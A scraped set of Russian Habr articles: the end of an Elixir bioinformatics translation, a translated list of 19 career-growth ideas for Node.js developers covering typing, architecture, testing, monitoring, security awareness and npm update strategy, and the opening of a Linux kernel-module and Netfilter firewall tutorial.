|> String.to_charlist
|> Stream.chunk(subseq_len, 1)
|> Flow.from_enumerable
|> Flow.flat_map(&find_sequences(&1, k_mer_len, times))
|> Enum.uniq
end
def find_sequences(subseq, k_mer_len, times) do
subseq
|> Stream.chunk(k_mer_len, 1)
|> Enum.reduce(%{}, fn w, acc ->
Map.update(acc, w, 1, & &1 + 1)
end)
|> Enum.reject(fn({_, n}) -> n < times end)
|> Enum.map(fn({seq, _}) -> seq end)
end
```
Заключение от переводчика
-------------------------
Вы можете найти оригинал статьи по ссылке: [GenStage and Bioinformatics](http://www.elixirfbp.org/2016/11/genstage-and-bioinformatics.html)
К сожалению, в сети ещё слишком мало информации об Эликсире на русском, поэтому, если вам понравилась статья, поддержите её плюсами и репостами, а если вы хотели бы периодически читать об Эликсире что-то новое, то присоединяйтесь к [Вунш](http://wunsh.ru/) – русскоязычному сообществу Эликсира – и [подписывайтесь](http://wunsh.us14.list-manage.com/subscribe/post?u=c81ca3d4693f62db7f7f67c71&id=a192e2dfef) на рассылку, чтобы получать переводы самых интересных статей! | https://habr.com/ru/post/318104/ | null | ru | null |
# 19 идей для Node.js-разработчиков, которые стремятся вырасти над собой в 2019 году
Автор материала, перевод которого мы публикуем, собрал 19 идей, которые могут оказаться полезными для тех Node.js-разработчиков, которые хотят повысить свой профессиональный уровень в 2019 году. Мир JavaScript огромен, поэтому освоить всё то, о чём пойдёт здесь речь, попросту нереально. Вряд ли найдётся кто-то, кто владеет всем этим в совершенстве. Однако кое-что в этом обзоре вполне может пригодиться именно вам.
[](https://habr.com/company/ruvds/blog/434114/)
1. Подумайте о типизации. Обратите внимание на TypeScript
---------------------------------------------------------
[Доказано](http://ttendency.cs.ucl.ac.uk/projects/type_study/documents/type_study.pdf), что программирование на JavaScript, с использованием применяемого в нём подхода к типизации, ведёт к снижению производительности труда и к появлению ошибок. Это не означает, что нужно стремиться к тому, чтобы весь код был бы строго типизированным. Скорее речь идёт о том, что хорошо было бы, при разработке на JavaScript, выбрать некий подход к работе с типами и придерживаться его. Такие подходы различаются, кроме прочего, уровнем ограничений, связанных с типами данных, накладываемых на код. Например, это может быть что-то совсем простое, нечто вроде организации проверок с использованием пакета [jsonschema](https://www.npmjs.com/package/jsonschema) (или [joi](https://www.npmjs.com/package/joi)). Если вы чувствуете, что нуждаетесь в более строгом контроле типов — можете рассмотреть вариант использования аннотаций типов в обычном JS-коде (тут вам поможет [flow](https://github.com/facebook/flow) от Facebook). А если вы готовы к написанию практически полностью типизированного кода — обратите внимание на [TypeScript](https://www.typescriptlang.org/).
Надо отметить, что в 2018 году TypeScript обрёл серьёзную популярность, кроме того, возникает такое ощущение, что есть все предпосылки к тому, чтобы он прочно обосновался в среде Node.js. Если вы серьёзно посматриваете в сторону TypeScript — вы должны спросить себя о том, думаете ли вы лишь о типизации, или также о других возможностях языка. Дело тут в том, что работа с чем-то вроде интерфейсов и абстрактных классов будет означать, что вы попадёте в среду, в которую, думая преимущественно о типизации, вы вряд ли собирались попасть.
2. Обратите внимание на возможности линтеров
--------------------------------------------
Линтеры в наши дни воспринимаются как нечто само собой разумеющееся. После простой настройки в вашем распоряжении оказывается инструмент, помогающий находить в коде ошибки. Прошли те времена, когда линтинг кода означал преимущественно контроль его оформления (чего-то вроде наличия или отсутствия точек с запятой). Теперь линтеры могут выявлять серьёзные проблемы — наподобие ошибок, которые не обрабатываются должным образом, промисов, которые никогда не разрешаются, и других подобных неприятностей, которые никто не станет сознательно включать в свой код. Поэтому если вы ещё не пользуетесь линтером — сейчас самое время это сделать, не забыв о его вдумчивой настройке. Вот, например, плагин для [ESLint](https://eslint.org/), [eslint-plugin-chai-expect](https://www.npmjs.com/package/eslint-plugin-chai-expect), который может выявлять ошибочно составленные тесты. Вот плагин [eslint-plugin-promise](https://www.npmjs.com/package/eslint-plugin-promise?activeTab=readme), обнаруживающий неразрешаемые промисы (код с такими промисами, без видимых причин, попросту останавливается). С помощью плагина [eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) можно находить в коде небезопасные регулярные выражения, которые могут быть использованы злоумышленником для проведения DOS-атак.
3. Углубите свои знания об архитектуре программных проектов, переняв кое-что из мира Java и забыв многое из мира Ruby
---------------------------------------------------------------------------------------------------------------------
В экосистеме Node.js нечасто поднимается тема архитектуры и проектирования информационных систем. Так, все говорят о микросервисах, но лишь очень немногие — об их внутреннем устройстве. В результате большинство Node.js-приложений представляют собой образцы реализации концепций MVC и других сомнительных паттернов из мира Ruby. Что в этом плохого? Шаблон MVC, например, был создан для упорядочения работы с данными, а вот для проектирования надёжных серверных частей приложений этот шаблон не годится. Боб Мартин, например, [говорит](https://twitter.com/unclebobmartin/status/131378093242851328), что MVC — это механизм доставки данных пользователю, а не архитектура приложений. Неужели можно описать бизнес-логику микросервисного приложения, правила его работы, особенности доступа к данным, взаимодействие с другими микросервисами, используя лишь два класса — `Controller` и `Model`?
Надо отметить, что я совершенно не хочу рекомендовать здесь применение в Node.js шаблонов из Java/Spring (ведь мы не случайно перешли именно на Node.js для разработки серверных программ?). Я посоветовал бы позаимствовать лишь некоторые идеи, которые, с одной стороны, способны благотворно сказаться на архитектуре приложений, а с другой, не станут причиной их чрезмерного усложнения.
Вот некоторые рекомендации для тех, кого заботит архитектура Node.js-проектов:
* Почитайте первый раздел [этого](https://github.com/i0natan/nodebestpractices#1-project-structure-practices) материала, посвящённый архитектуре Node.js-приложений.
* Постарайтесь не смешивать бизнес-логику приложений с объектами Express, почитайте о принципах предметно-ориентированного проектирования ([Domain-Driven Design](https://www.infoq.com/minibooks/domain-driven-design-quickly), DDD) и о [гексагональной архитектуре](https://dzone.com/articles/hexagonal-architecture-is-powerful).
* Применение паттерна Active Record, весьма популярного среди разработчиков, использующих Mongoose и Sequelize, легко приводит к появлению чрезмерно перегруженных возможностями объектов, которые сложно тестировать. Подумайте об использовании паттерна [Data Mapper](https://medium.com/oceanize-geeks/the-active-record-and-data-mappers-of-orm-pattern-eefb8262b7bb) вместо паттерна Active Record.
* Ознакомьтесь с кодом [этого](https://github.com/talyssonoc/node-api-boilerplate/wiki?fbclid=IwAR0uQYNM62YzUlfGoI53wHX8jiCyjshQ9domCtSuB7B0sRS4oJ1LDP05Uzk) хорошо сделанного шаблонного Node.js-проекта, отличающегося качественной архитектурой, в котором реализованы принципы DDD.
4. Подумайте о том, как использовать новое Node.js-API async\_hooks при работе с асинхронным кодом
--------------------------------------------------------------------------------------------------
Однопоточная модель выполнения кода, используемая в JavaScript, имеет один серьёзный недостаток — асинхронные операции, например — запросы, теряют контекст. Он не сохраняется в течение жизненного цикла запросов, так как в ходе их выполнения задействуются асинхронные операции. Почему это плохо? Например, часто разработчики стремятся включать в записи журналов уникальные идентификаторы запросов, что, при анализе таких записей, позволяет выделить те из них, которые относятся к одному и тому же запросу. Сегодня, в 2018 году, сделать это не так уж и легко. В будущем же году нас ждёт кое-что новое, а именно, речь идёт об асинхронных хуках, API [async\_hooks](https://nodejs.org/api/async_hooks.html). Нельзя сказать, что это совершенно новая возможность, речь идёт о том, что она скоро должна выйти из экспериментального режима. Проще говоря, асинхронные хуки позволяют разработчику выполнять собственный код в определённые моменты жизненного цикла асинхронной операции. Учитывая это, можно согласовывать действия, выполняемые асинхронным кодом и сохранять контекст. Эта возможность закладывает основу для разработки пакетов, которые выведут на новый уровень возможности Node.js по отслеживанию выполнения асинхронных операций и по работе с контекстом.
Например, пакет [cls-hooked](https://www.npmjs.com/package/cls-hooked) позволяет организовать использование переменных и контекста в течение всего жизненного цикла асинхронной операции. Пакет [jaeger-client](https://www.npmjs.com/package/jaeger-client) позволяет визуализировать процесс прохождение запроса по системам, даже по микросервисам и серверам (тут реализован стандарт Javascript OpenTracing API 1.0).
[Вот](https://medium.com/autodesk-tlv/async-hooks-a-whole-new-world-of-opportunities-a1a6daf1990a) материал, в котором можно найти подробности об использовании API async\_hooks.
5. Разберитесь со свежими «бессерверными» технологиями, которые уже вполне готовы для серьёзных проектов и способны убить Kubernetes
------------------------------------------------------------------------------------------------------------------------------------
Здесь мы используем понятия FaaS (Function as a Service, функция как услуга) и «бессерверные технологии» как синонимы, хотя они означают не одно и то же. В частности, ниже речь пойдёт об облачных FaaS-услугах.
Изначально технология FaaS предназначалась для разработки микрозадач, а не для создания полноценных «микросервисных» приложений. Рост популярности FaaS-платформ привёл к росту интереса к ним поставщиков облачных услуг, FaaS-платформы обросли новыми функциями. Как результат, хотя это и неожиданно, возникает такое ощущение, что в 2019 году FaaS-платформы могут стать основой для серьёзных проектов. Могут ли эти платформы конкурировать с Kubernetes и использоваться для хостинга больших приложений? Некоторые видят в бессерверных вычислениях и FaaS технологии, которые представляют собой нечто совершенно новое, но на практике каждому создателю облачного приложения придётся в 2019 году делать выбор между тремя технологиями. Этот выбор, в буквальном смысле, представлен на сайтах поставщиков облачных услуг. А именно, речь идёт о выборе одного из трёх вариантов:
1. Обычный облачный сервер (например [VDS](https://ruvds.com/ru-rub/) от RUVDS)
2. Kubernetes
3. FaaS
В результате, в наше время очень важно уметь сравнивать возможности Kubernetes с FaaS и предвидеть последствия выбора той или иной технологии.
6. Ознакомьтесь с новшествами JavaScript, которые в ближайшее время войдут в стандарт
-------------------------------------------------------------------------------------
Не могу назвать себя приверженцем поиска и использования самых свежих возможностей языка, так как иногда их применение ухудшает простоту и понятность кода. Но время от времени появляются по-настоящему ценные возможности JavaScript (наподобие конструкции async/await два года назад), поэтому полезно заглядывать в [список](https://github.com/tc39/proposals) предложений TC39 и на ресурс [node.green](http://node.green/) для того, чтобы заранее знать о новых возможностях, которые могут вам подойти. Вот что интересного я там нашёл:
* [Поля классов](https://github.com/tc39/proposal-class-fields) сейчас находятся на 3 (последней) стадии согласования, они могут войти в стандарт в 2019 году.
* Тип данных [BigInt](https://github.com/tc39/proposal-bigint) также проходит последнюю стадию согласования. Использование чисел этого типа может помочь в деле организации взаимодействия с микросервисами или любыми системами, в ходе которого используются огромные числа.
* [Асинхронные итераторы](https://itnext.io/understand-async-iterators-665259680044) и метод промисов [finally()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally) уже приняты. Если вы пока не обратили на них внимание — ознакомьтесь с ними.
7. Хорошо освойте как минимум одну технологию для создания API. Обратите внимание на GraphQL
--------------------------------------------------------------------------------------------
REST-API — это замечательный инструмент для решения определённого класса задач. А именно, речь идёт об управлении запросами и модификацией записей в базах данных. Ваша система направлена на работу с финансовыми данными? Вероятно, для обеспечения её работы нужно соблюдение строжайших ограничений и использование тщательно проработанной модели данных, не допускающей неоднозначностей. Технология REST вам в этом случае подойдёт, но она не очень хорошо показывает себя в других, весьма распространённых ситуациях, например тогда, когда выполнение одного и того же запроса может привести к получению разных наборов данных. То же самое касается и работы в условиях низкой скорости соединений, когда нужно, чтобы при работе с неким API передавалось бы как можно меньше данных. К таким ситуациям относятся и соединения между компьютерами, где на первый план выходит высокая скорость связи. Стоит ли в подобных случаях переходить на что-то новое? Нет, не стоит. Лучше всего добавить к тому, что уже используется, что-то новое. API — это не архитектура приложения. Это просто точка доступа к приложению, а значит сосуществовать могут API, созданные с использованием разных инструментов. Даже если все они построены поверх единственного веб-фреймворка наподобие Express.
Какую же технологию изучить? Вероятно, в текущих условиях стоит сделать ставку на технологию GraphQL, которая становится всё популярнее и распространённее. Экосистема этой технологии значительно повзрослела, она обслуживает некоторые весьма популярные сценарии работы с данными — такие, как динамический поиск и взаимодействие с иерархическими источниками данных. С другой стороны, технология gRPC всё ещё представляет собой узкоспециализированное решение, которое хорошо подходит для обеспечения коммуникации между серверами в ситуациях, когда в ходе обмена данными желательно передавать как можно меньше служебной информации (например, речь идёт о системах обмена данными, основанных на схеме «издатель-подписчик», или о таких, где используются сообщения и очереди сообщений). Вот несколько полезных публикаций на эту тему:
* [Сравнение](https://blog.apisyouwonthate.com/understanding-rpc-rest-and-graphql-2f959aadebe7) REST, GraphQL и gRPC
* [Разработка](https://medium.com/codingthesmartway-com-blog/creating-a-graphql-server-with-node-js-and-express-f6dddc5320e1) GraphQL-сервера на базе Node.js и Express
* [11-минутное видео](https://www.youtube.com/watch?v=VjXb3PRL9WI) на YouTube, посвящённое объяснению основ GraphQL
8. Используете модульные и интеграционные тесты? Взгляните на совершенно новые техники тестирования
---------------------------------------------------------------------------------------------------
Вы уже знакомы с пирамидой тестов, с модульными, интеграционными и сквозными тестами? Если так — замечательно. Всё это лежит в основе успешных стратегий тестирования. Однако тут надо заметить, что за последние 10 лет мир разработки ПО очень серьёзно изменился, а модели тестирования остались прежними, что ставит нас перед вопросами о том, как тестировать микросервисы, насыщенные интернет-приложения, бессерверные системы. Некоторые современные подходы к тестированию дополняют традиционный набор технологий, а некоторые могут даже его заменить, улучшив тем самым стратегию и результаты тестирования. Вот что можно об этом почитать и посмотреть:
* [Тестирование](https://blog.risingstack.com/consumer-driven-contract-testing-with-pact/) систем, построенных по шаблону Consumer-Driven Contracts, позволяет предотвратить отказ серверных API, используемых микросервисами или клиентами.
* [Тестирование при помощи снимков](https://jestjs.io/docs/en/snapshot-testing) может быть использовано не только во фронтенде, но и в серверных проектах.
* [Компонентное тестирование](https://martinfowler.com/bliki/ComponentTest.html) представляет собой сбалансированный подход к тестированию микросервисов.
* [Вот](https://youtu.be/-2zP494wdUY) видео, где идёт речь о современных подходах к тестированию Node.js-проектов.
9. Приведите свою систему мониторинга приложений в соответствие с практическими рекомендациями из сферы SRE/DevOps
------------------------------------------------------------------------------------------------------------------
В 2019 году даже приложение среднего размера может состоять из десятков компонентов. Для того чтобы обеспечить бесперебойную работу подобной инфраструктуры, за ней нужно внимательно наблюдать. Несмотря на очевидность вышесказанного, большинство разработчиков всё ещё не считают важным изучение и использование тех рекомендаций по мониторингу приложений и созданию системы оповещений о проблемах, которые могут дать им специалисты, отвечающие за надёжность работы веб-проектов. Например, часто разработчики уделяют основное внимание внутренним показателям производительности систем, таким, как частота процессора или объём оперативной памяти, вместо того, чтобы озаботиться метриками, которые напрямую влияют на конечных пользователей. В частности, речь идёт о частоте возникновения ошибок и о задержках. Это [называют](http://files.catwell.info/misc/mirror/rob-ewaschuk-google-sre-philosophy-alerting.pdf) «мониторингом, основанным на симптомах проблем». Подобные показатели, ориентированные на пользователей, иногда называют «золотыми сигналами», и вы, возможно, внедряя систему мониторинга, решите начать именно с внедрения подобных метрик. Вот материалы по теме:
* [4 «золотых сигнала» мониторинга](https://www.infoq.com/articles/monitoring-SRE-golden-signals).
* [Глава](https://landing.google.com/sre/sre-book/chapters/monitoring-distributed-systems/), посвящённая мониторингу распределённых систем из книги Site Reliability Engineering, подготовленной специалистами Google.
* Пакет [request-stats](https://www.npmjs.com/package/request-stats) может пригодиться в сборе соответствующих метрик, которые потом можно передать в систему мониторинга.
10. Улучшайте безопасность проектов, глядя на них с точки зрения злоумышленника, а также изучая способы проведения атак и хакерские инструменты
-----------------------------------------------------------------------------------------------------------------------------------------------
Если вы не можете думать как тот, кто хочет атаковать вашу систему, это значит, что вы не можете думать и так, как думал бы защитник этой системы. В 2019 году вам не следует ни передавать задачи по защите проектов сторонним организациям, ни полагаться лишь на статические анализаторы безопасности. Сегодня существует огромное количество типов атак (последние тренды в этой сфере — [атаки](https://snyk.io/vuln/npm:flatmap-stream) на инфраструктуру разработки и на npm). При этом приложения очень и очень быстро меняются — ещё вчера проект признали хорошо защищённым, а уже завтра в него могут добавить несколько новых AWS-сервисов, несколько новых типов баз данных и новую роль IAM. При этом снова анализировать безопасность проекта будут нескоро. В результате оказывается, что разработчики представляют наибольшую угрозу безопасности для собственных проектов. Решением этой проблемы является их обучение. Это означает, что каждому разработчику веб-проектов необходимо довести выполнение правил безопасности чуть ли не до автоматизма, и, что бы он ни делал, всегда о безопасности помнить.
После того, как вы решите двигаться в подобном направлении, окажется, что учёт безопасности при выполнении любых работ не так уж и страшен. Скажем, ознакомившись с распространёнными способами и инструментами для совершения атак, нарисуйте схему архитектуры своего приложения и подумайте о том, как вы атаковали бы его. Со временем, даже не отдавая себе в этом отчёта, вы начнёте учитывать вопросы безопасности, принимая каждое архитектурное решение и вводя в редакторе каждую новую строку кода. Вот некоторые идеи, касающиеся освоения вопросов безопасности:
* Испытайте [OWASP ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) — многофункциональный инструмент для исследования систем и их взлома, который позволяет даже начинающему изучить уровень безопасности приложения.
* Почитайте [этот](https://medium.com/@nodepractices/were-under-attack-23-node-js-security-best-practices-e33c146cb87d) список рекомендаций по безопасности Node.js, в котором вы найдёте более двух десятков идей атак и примеры кода на JavaScript.
* Запланируйте проведение ежемесячной встречи, посвящённой анализу угроз, на которой команда проекта будет изучать его архитектуру и предлагать атаки на него. Если такая идея кажется вам скучной — можете подобные встречи геймифицировать. Скажем, тех, кто найдёт уязвимость, можно как-то награждать. Ещё можно, например, разбить участников подобной встречи на две команды и устроить между ними соревнование по поиску уязвимостей.
11. Разработайте и применяйте стратегию обновления npm-пакетов. 2018 год показал, что поспешность при их обновлении опасна
--------------------------------------------------------------------------------------------------------------------------
Обычно команды разработчика придерживаются одной из двух «стратегий» обновления npm-пакетов. Они либо обновляют их как можно быстрее после выхода их новых версий, иногда даже автоматизируя этот процесс, либо вовсе не имеют стратегии обновления пакетов. При таком подходе пакеты обновляются нерегулярно, а, начиная этот процесс, руководствуются чем-то вроде внезапно пришедшей мысли: «А не обновиться ли нам сегодня?». Хотя первый из этих подходов и выглядит лучше второго, он, что неожиданно, оказался в 2018 году сопряжённым с более высоким риском, чем второй. Проблемы, наподобие той, что произошла с пакетом [flat-stream](https://snyk.io/blog/malicious-code-found-in-npm-package-event-stream), были обнаружены сообществом в пределах нескольких десятков дней, и те, кто, не спешил обновляться, оказались в безопасности.
Подумайте над формализацией стратегии обновления пакетов, от которых зависит ваш проект, предусмотрите использование средств автоматизации этого процесса. Найдите золотую середину между отказом от обновлений и слишком частым обновлением пакетов. Тут вам может помочь программа [npq](https://github.com/lirantal/npq), выполняющая проверку пакетов при установке и дающая рекомендации. Можете взглянуть на коммерческие проекты вроде [greenkeeper](https://greenkeeper.io/). Минус подобных решений заключается в том, что они не могут отложить установку до того момента, когда совершенно точно будет известно, что некий пакет является безопасным.
12. Присмотритесь к поэтапному развёртыванию проектов
-----------------------------------------------------
Возможно, в 2019 году вы сочтёте разумным выполнять развёртывание проектов в продакшне, пользуясь поэтапной схемой, а не путём мгновенной отправки всего, что было до этого в процессе разработки, на боевой сервер. Этот процесс называют «canary deployment», он даёт более высокий уровень защиты проекта, чем одномоментное развёртывание нового кода. В нём обычно выделяют следующие три этапа:
1. Развёртывание. Новый код разворачивают в новом, изолированном продакшн-окружении (на новом сервисе Kubernetes, на новом виртуальном сервере). На этом этапе код пока никого не обслуживает, поэтому сбои в нём вреда причинить не могут.
2. Тестирование. Теперь несколько специалистов могут поработать с новым кодом в условиях, максимально приближенных к реальным, так как код развёрнут в продакшне.
3. Релиз. После того, как тестирование показало работоспособность нового кода, к нему постепенно дают доступ всё большему количеству пользователей, а после того, как окажется, что работает он достаточно надёжно, постепенно выводят из употребления его старую версию.
Тут стоит сделать одно важное замечание, касающееся того, что выполнение полномасштабных canary-развёртываний в 2019 году всё ещё будет очень дорогим удовольствием. Дело в том, что это требует согласования работы инфраструктурных элементов проекта — таких, как маршрутизация и мониторинг. Таким образом, если вы хотите применить подобную методику, стоит начать с простого, выполняемого отчасти вручную, canary-развёртывания. В частности, это заключается в том, что после успешного завершения первых испытаний, с учётом показателей мониторинга, выполняется ручное добавление в систему серверов с новой версией программного обеспечения. Подробности о canary-релизах можно почитать [здесь](https://martinfowler.com/bliki/CanaryRelease.html). Если вы хотите автоматизировать процесс выполнения подобных релизов — обратите внимание на платформу [Spinnaker](https://www.spinnaker.io/).
13. Ознакомьтесь с технологией Kubernetes, которая завоевала мир
----------------------------------------------------------------
Технология Kubernetes (K8S) представляет собой инфраструктуру для компонентов приложения, которая предоставляет им сетевые ресурсы и обеспечивает автоматизацию развёртывания и масштабирования проектов. Она стала стандартом де-факто в сфере хостинга приложений. Её популярность просто невероятна. Технологию Kubernetes поддерживают все поставщики облачных услуг, она обладает отличной системой расширений, 54% корпоративных пользователей уже обладают как минимум одним K8S-кластером. Если вы лишь собираетесь ознакомиться с этой технологией — [вот](https://nodesource.com/blog/orchestrating-nodejs-containers-with-kubernetes/) хороший материал начального уровня о ней. Если вы уже сделали первые шаги в сфере K8S — вот список публикаций, с которыми полезно будет ознакомиться:
* [Istio](https://istio.io/docs/concepts/what-is-istio/)
* [K-Native](https://cloud.google.com/knative/)
* [Задания Kubernetes](https://kubernetes.io/docs/concepts/workloads/controllers/jobs-run-to-completion/)
* [Обзор архитектуры Kubernetes](https://www.eastbanctech.com/technology-insights/what-the-tech/kubernetes-architecture.html)
* [Сетевые политики Kubernetes](https://kubernetes.io/docs/concepts/services-networking/network-policies/)
* [Helm](https://github.com/helm/helm)
* [Scaffold](https://github.com/GoogleContainerTools/skaffold)
Учитывайте то, что каждый час, потраченный вами на изучение Kubernetes, окупится сторицей.
14. Изучите блокчейн-технологии, которые таят в себе очень интересные возможности
---------------------------------------------------------------------------------
Блокчейн-технологии — это не только криптовалюты. Эти технологии можно применять в любых распределённых системах, обрабатывающих некие транзакции.
15. Освойте технологии машинного обучения, или, по крайней мере, научитесь в них ориентироваться
------------------------------------------------------------------------------------------------
Вероятно, машинное обучение — это один из ведущих трендов современности. К несчастью, я не особенно хорошо знаком с этой темой. В будущем году я планирую с ней разобраться. Как минимум, мне хотелось бы научиться грамотно общаться на темы машинного обучения и уметь находить качественные инструменты из этой сферы (например, библиотеки вроде [tensorflow.js](https://github.com/tensorflow/) и [brain.js](https://github.com/janhuenermann/neurojs), которые позволяют решать реальные задачи, не требуя мощной инфраструктуры).
16. Читайте код успешных опенсорсных проектов
---------------------------------------------
Опасайтесь сужения кругозора, которое вызывает долгая работа над одним и тем же проектом с использованием одного и того же набора технологий. Работа в таком режиме, кроме прочего, скрывает от вас альтернативные способы решения ваших задач. Стремитесь к регулярному исследованию чужого кода, в частности — успешных опенсорсных проектов.
17. Углубите свои познания в области Linux, в частности — понимание устройства процессов
----------------------------------------------------------------------------------------
Понимание устройства Linux-процессов даст вам реальные преимущества, так как процессы лежат в основе множества задач, связанных с разработкой. Среди них — мониторинг, обеспечение бесперебойной работы проектов (например — перезапуск процессов), работа с Docker, правильное завершение работы систем и многое другое. Постарайтесь разобраться в этапах жизненного цикла процессов, в сигналах, в модели разрешений, в типах процессов, в командах, используемых для управления ими. [Вот](https://www.tecmint.com/linux-process-management/) полезный материал, посвящённый основам работы с процессами Linux.
18. Разберитесь с тем, как работают внутренние механизмы Node.js
----------------------------------------------------------------
Мне нравится высказывание Райана Даля (создателя Node.js): «Вы никогда не сможете понять всё. Но вам нужно стремиться к тому, чтобы понять систему». Хорошее понимание принципов работы платформы окажется ценным навыком при решении сложных проблем, возникающих в продакшне, оно пригодится при разработке вспомогательных инфраструктурных компонентов приложений (вроде средств мониторинга производительности цикла событий). Возможно, вы уже знакомы с основными частями Node.js, таким, как движок V8 и библиотека libuv. Я так думаю, что 2019 год — это отличное время для того, чтобы углубить свои познания в сфере Node.js, и понять, например, что именно происходит внутри циклов событий libuv. Или, возможно, разобраться с тем, как Node.js взаимодействует с подсистемой ввода-вывода операционной системы, на которой работает эта платформа.
[Вот](https://jsblog.insiderattack.net/handling-io-nodejs-event-loop-part-4-418062f917d1) материал о том, что происходит в цикле событий. [Вот](https://medium.com/@tarkus/how-to-call-c-c-code-from-node-js-86a773033892) статья, посвящённая написанию npm-пакетов на C/C++. [Вот](https://blog.ghaiklor.com/how-nodejs-works-bfe09efc80ca) большая публикация о внутренних механизмах Node.js. [Вот](https://habr.com/post/428576/) цикл обучающих статей про Node.js в блоге RUVDS.
19. Учитесь новому, используя научные методы
--------------------------------------------
Этот пункт последний в нашем списке, но он не менее важен, чем другие. Дело в том, что то, чему вы учитесь, то, что вы усваиваете, оказывает влияние на ваш профессиональный рост. Но, при этом, у многих разработчиков нет ни стратегии самообучения, ни стремления освоить эффективные способы обучения, используя научный подход. Представьте себе совещание на тему предотвращения ошибок в JavaScript-коде, связанных с типами данных. Руководитель настаивает на том, чтобы команда использовала бы обычный JavaScript, что позволит обойтись без рефакторинга кодовой базы. Речь идёт о том, что, например TypeScript вам не нужен. Внезапно ваш коллега предлагает использовать flow и всем, кто принимает участие в совещании, эта идея нравится. Тут вы вспоминаете, что как-то читали о flow, но информацию эту вы не усвоили, она, что называется, «в одно ухо влетела, а в другое вылетела». Почему это произошло? Вероятно, тут мы имеем дело с феноменом, который называется «[иллюзия компетентности](https://www.memory-improvement-tips.com/illusions-of-competence.html)». Он объясняет причину, по которой люди что-либо забывают. Например, вы потратили час ценного времени на чтение некоего материала и думаете, что всё поняли и запомнили, но это — самообман. Через пару дней вы ничего из прочитанного уже не вспомните. Исследования показывают, что если вы попытаетесь потом об этом кому-нибудь рассказать или просто пробежитесь по тому же тексту на следующий день, вы сможете значительно увеличить шансы на то, что вы усвоите то, что прочли. Есть и многие другие техники, которые помогут запоминанию и позволят извлекать нужные фрагменты знаний в правильное время. Поэтому я полагаю, что потратить несколько часов 2019 года на то, чтобы научиться учиться — это стоящее вложение времени.
[Вот](https://www.coursera.org/learn/learning-how-to-learn) отличный курс об обучении. [Вот](https://www.forbes.com/sites/quora/2017/11/08/what-makes-chunking-such-an-effective-way-to-learn/#5d1ec19660a9) материал о том, как организовывать информацию для её эффективного усвоения. Если вы читаете о новой технологии — сравните её с тем, с чем вы уже знакомы, поговорите о ней с коллегами, задайте себе вопрос о том, зачем она нужна, нарисуйте её схему, перечитайте выводы материала об этой технологии. Всё это поможет вашему мозгу усвоить то, что вы узнали, связать это с существующими знаниями, а значит, когда вам такая информация понадобится, вы сможете ей воспользоваться.
Итоги
-----
Мы рассмотрели 19 рекомендаций, которые позволят Node.js-разработчикам, нашедшим среди них что-то для себя подходящее, профессионально вырасти в 2019 году. Надеемся, вы встретили здесь что-то такое, что вам пригодится.
**Уважаемые читатели!** Что бы вы посоветовали изучить Node.js-разработчикам в 2019 году?
[](https://ruvds.com/ru-rub/news/read/95)
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/434114/ | null | ru | null |
# Создание и тестирование Firewall в Linux, Часть 1.2. Простой перехват трафика с Netfilter
**Содержание первой части:**
[**1.1** — Создание виртуальной лаборатории (чтобы нам было где работать, я покажу как создать виртуальную сеть на вашем компьютере. Сеть будет состоять из 3х машин Linux ubuntu).](https://habrahabr.ru/post/315340/)
****1.2** – Написание простого модуля в Linux. Введение в Netfilter и перехват трафика с его помощью. Объединяем все вместе, тестируем.**
**1.3** – [Написание простого char device. Добавление виртуальной файловой системы — sysfs. Написание user interface. Объединяем все вместе, тестируем.](https://habrahabr.ru/post/315454/)
**Содержание второй части:**
**Скрытый текст**[**2.1** — Введение во вторую часть. Смотрим на сеть и протоколы. Wireshark.](https://habrahabr.ru/post/316086/)
[**2.2** — Таблицы Firewall. Transport Layer. Структуры TCP, UDP. Расширяем Firewall.](https://habrahabr.ru/post/316756/)
**2.3** — Расширяем функциональность. Обарабатываем данные в user space. libnetfilter\_queue.
**2.4** — (\*Опиционально) Изучаем реальную Buffer Overflow атаку и предотвращаем с помощью нашего Firewall'а.
**Очень краткое введение в Операционные системы**
Для тех, кто не знаком с основами работы операционных систем в общем и linux-систем в частности, ОЧЕНЬ кратко нужные нам основные понятия, чтобы мы могли двигаться дальше. В Linux, как и многих других ОС, есть два адресных пространства – *kernel space* и *user space*. *Kernel space* – тут работает операционная система, она в основном занимается тем, что распределяет ресурсы компьютера между программами (например какая из программ сейчас работает на процессоре (scheduling), какой программе направить output с клавиатуры, что делать с пакетами из сетевой карты, операции IO и много всего другого). ОС находится в очень интимных связях с аппаратным обеспечением (мышь, монитор, принтер…). Так как ее работа очень важна, для нее выделена отдельная часть в памяти, которая не связана с *user space* – местом, где работают большинство программ пользователя, такие как: редакторы, калькуляторы, браузеры и т.д. В Linux, чтобы поменять или добавить новые функции в ОС — есть несколько способов. Один из них — это поменять исходные тексты ядра и скомпилировать его заново. Но этот способ долгий и тяжелый, особенно когда нужно расширить функциональность минимально или динамично. Поэтому есть другой способ – модули. Модули – грубо говоря — это программа, которую можно динамично и быстро добавить в kernel space, после чего, модуль станет частью операционной системы и получит больше функциональности и доступа к ресурсам чем обычные программы.
Есть много статей на эту тему, например [эта](http://www.tldp.org/LDP/lkmpg/2.6/html/lkmpg.html) очень хорошая. Надеюсь, что я смог донести интуицию.
### Написание простого модуля в Linux. Практика
Для начала, очень коротко рассмотрим пример простого модуля [отсюда](http://www.thegeekstuff.com/2013/07/write-linux-kernel-module/) — потом рассмотрим, что такое Netfilter и совместим все вместе в одном исходном коде. Ниже, будут картинки, в конце статьи, ссылки на все исходные тексты. И так:
Так выглядит исходный код очень простого модуля. Несколько вещей:
**1** – я работаю в редакторе Geany, так как Eclpise-со подобные в данном случае не подойдут. Компилирую через терминал, но кажется можно и через Geany.
**2** – в kernel нет printf, но есть ее аналог printk, которая работает таким же образом. Кстати в kernel есть аналоги всех необходимых библиотек и функций (и нет стандартных библиотек типа stdlib).
**3** – printk, не пишет в консоль, а пишет в специальный файл, содержимое которого можно прочитать, используя команду dmesg. У нас — это будет главный способ для отладки программы (есть и другие способы увидеть как работает printk, например, если перейти в консоль без X интерфейса Ctrl+Shift+F1). Так же будет полезным *dmesg –c*, для очистки всего, что накопилось в этом файле.
**4** – *MODULE\_LICENSE, MODULE\_AUTHOR, MODULE\_DESCRIPTION* — это макросы, которые «дают» linux информацию о модуле, которую потом можно получить с помощью специальных команд (искать подробнее по ссылке).
